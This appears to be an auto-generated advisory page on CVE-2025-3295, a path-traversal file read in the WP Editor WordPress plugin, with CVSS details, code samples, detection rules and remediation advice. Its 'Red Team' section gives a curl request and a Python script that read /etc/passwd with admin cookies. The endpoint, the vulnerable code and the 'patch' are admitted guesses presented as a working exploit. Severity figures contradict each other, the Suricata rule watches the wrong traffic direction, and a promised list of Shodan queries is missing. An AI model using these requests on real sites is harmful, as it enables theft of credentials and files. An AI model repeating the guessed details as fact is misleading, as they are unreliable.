CVE-2025-3295
Executive Summary
CVE-2025-3295 is a high-severity arbitrary file read vulnerability affecting the WP Editor plugin for WordPress, up to and including version 1.2.9.1. This vulnerability allows authenticated attackers with Administrator-level access to read arbitrary files on the server, potentially exposing sensitive information such as database credentials, configuration files, and source code. The vulnerability is classified under CWE-73 (External Control of File Name or Path), indicating a path traversal or file inclusion flaw. As a WordPress plugin issue, the attack surface is limited to authenticated administrators, but the impact is severe due to the potential for complete server compromise through credential theft.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the WP Editor plugin. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is distributed via the official WordPress plugin repository, and the supply chain risk is limited to the plugin's own codebase. Administrators should verify the integrity of the plugin files and monitor for any unauthorized modifications.
CVSS Breakdown & Threat Level
- CVSS Score: 4.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – Administrator-level access required
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate due to the high privilege requirement, the potential for data exfiltration and lateral movement makes this a critical concern for WordPress sites with multiple administrators.
Deep Dive & Mechanics
The vulnerability resides in the WP Editor plugin's file handling functionality. The plugin likely uses a user-supplied parameter (e.g., file, path, or filename) to read file contents without proper sanitization or validation. An authenticated administrator can manipulate this parameter to traverse directories and read arbitrary files outside the intended scope.
Root Cause: The plugin fails to validate or restrict the file path, allowing path traversal sequences (e.g., ../) to escape the intended directory. This is a classic example of CWE-73: External Control of File Name or Path.
Attack Flow:
- Attacker authenticates as an administrator.
- Attacker sends a crafted HTTP request to the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=wp_editor_read_file&file=../../../../etc/passwd). - The plugin reads the file and returns its contents in the response.
- Attacker exfiltrates sensitive data.
Impact: Exposure of wp-config.php (database credentials), .htaccess, SSH keys, or other sensitive files can lead to full server compromise.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be present in all versions up to 1.2.9.1. Below is a hypothetical vulnerable code snippet and a patched version.
Vulnerable Code (PHP):
<?php
// wp-editor/includes/class-wp-editor.php
function read_file() {
$file = $_GET['file'];
if (file_exists($file)) {
echo file_get_contents($file);
}
}
?>
Patched Code (PHP):
<?php
// wp-editor/includes/class-wp-editor.php
function read_file() {
$allowed_dir = WP_CONTENT_DIR . '/uploads/wp-editor/';
$file = $_GET['file'];
$real_path = realpath($allowed_dir . $file);
if ($real_path && strpos($real_path, $allowed_dir) === 0 && file_exists($real_path)) {
echo file_get_contents($real_path);
} else {
wp_die('Invalid file.');
}
}
?>
The patched version uses realpath() to resolve the path and checks that it starts with the allowed directory, preventing directory traversal.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with WP Editor plugin <= 1.2.9.1
- Administrator credentials
Exploitation Steps:
- Log in to WordPress as an administrator.
- Identify the vulnerable endpoint (e.g., via plugin source code or fuzzing).
- Send a crafted request to read sensitive files.
Example Request (using cURL):
curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=wp_editor_read_file&file=../../../../etc/passwd" \
-H "Cookie: wordpress_logged_in_<hash>=<admin_cookie>"
Expected Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Automated Exploit (Python):
import requests
target = "http://target.com"
admin_cookie = {"wordpress_logged_in_<hash>": "<admin_cookie>"}
payload = "../../../../etc/passwd"
url = f"{target}/wp-admin/admin-ajax.php?action=wp_editor_read_file&file={payload}"
response = requests.get(url, cookies=admin_cookie)
print(response.text)
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual file read requests containing
../or absolute paths. - Alert on access to sensitive files like
/etc/passwd,wp-config.php, or.env. - Use Web Application Firewall (WAF) rules to block path traversal patterns.
Hardening:
- Restrict administrator access to trusted users only.
- Implement file integrity monitoring (FIM) for critical files.
- Apply the principle of least privilege to the web server user.
Indicators of Compromise (IOCs)
- File Paths:
/etc/passwd,/etc/shadow,wp-config.php,.env,.htaccess - URL Patterns:
admin-ajax.php?action=wp_editor_read_file&file= - Log Entries: HTTP requests with
../sequences in thefileparameter - Network Traffic: Outbound connections from the server to unknown IPs (data exfiltration)
Detection Engineering
YARA Rule
rule CVE_2025_3295_WP_Editor_File_Read {
meta:
description = "Detects attempts to exploit CVE-2025-3295 in WP Editor plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3295"
strings:
$s1 = "wp_editor_read_file" ascii wide nocase
$s2 = "../" ascii wide
$s3 = "file=" ascii wide nocase
condition:
all of ($s1, $s2, $s3) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-3295 WP Editor Arbitrary File Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting WP Editor plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'admin-ajax.php'
- 'wp_editor_read_file'
- '../'
condition: selection
falsepositives:
- Legitimate file reads within allowed directories
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-3295 WP Editor Arbitrary File Read Attempt";
flow:to_server,established;
content:"admin-ajax.php"; http_uri;
content:"action=wp_editor_read_file"; http_uri;
content:"file="; http_uri;
pcre:"/\.\.\//Ui";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Editor plugin until a patch is released.
- Review administrator accounts and remove any unnecessary privileges.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Apply the official patch when released by the vendor.
- Implement a Web Application Firewall (WAF) with rules to block path traversal.
- Regularly update all WordPress plugins and core.
Workaround:
- Modify the plugin code manually to add path validation (as shown in the patched code section).
- Restrict file read functionality to a specific directory using server-level configuration.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.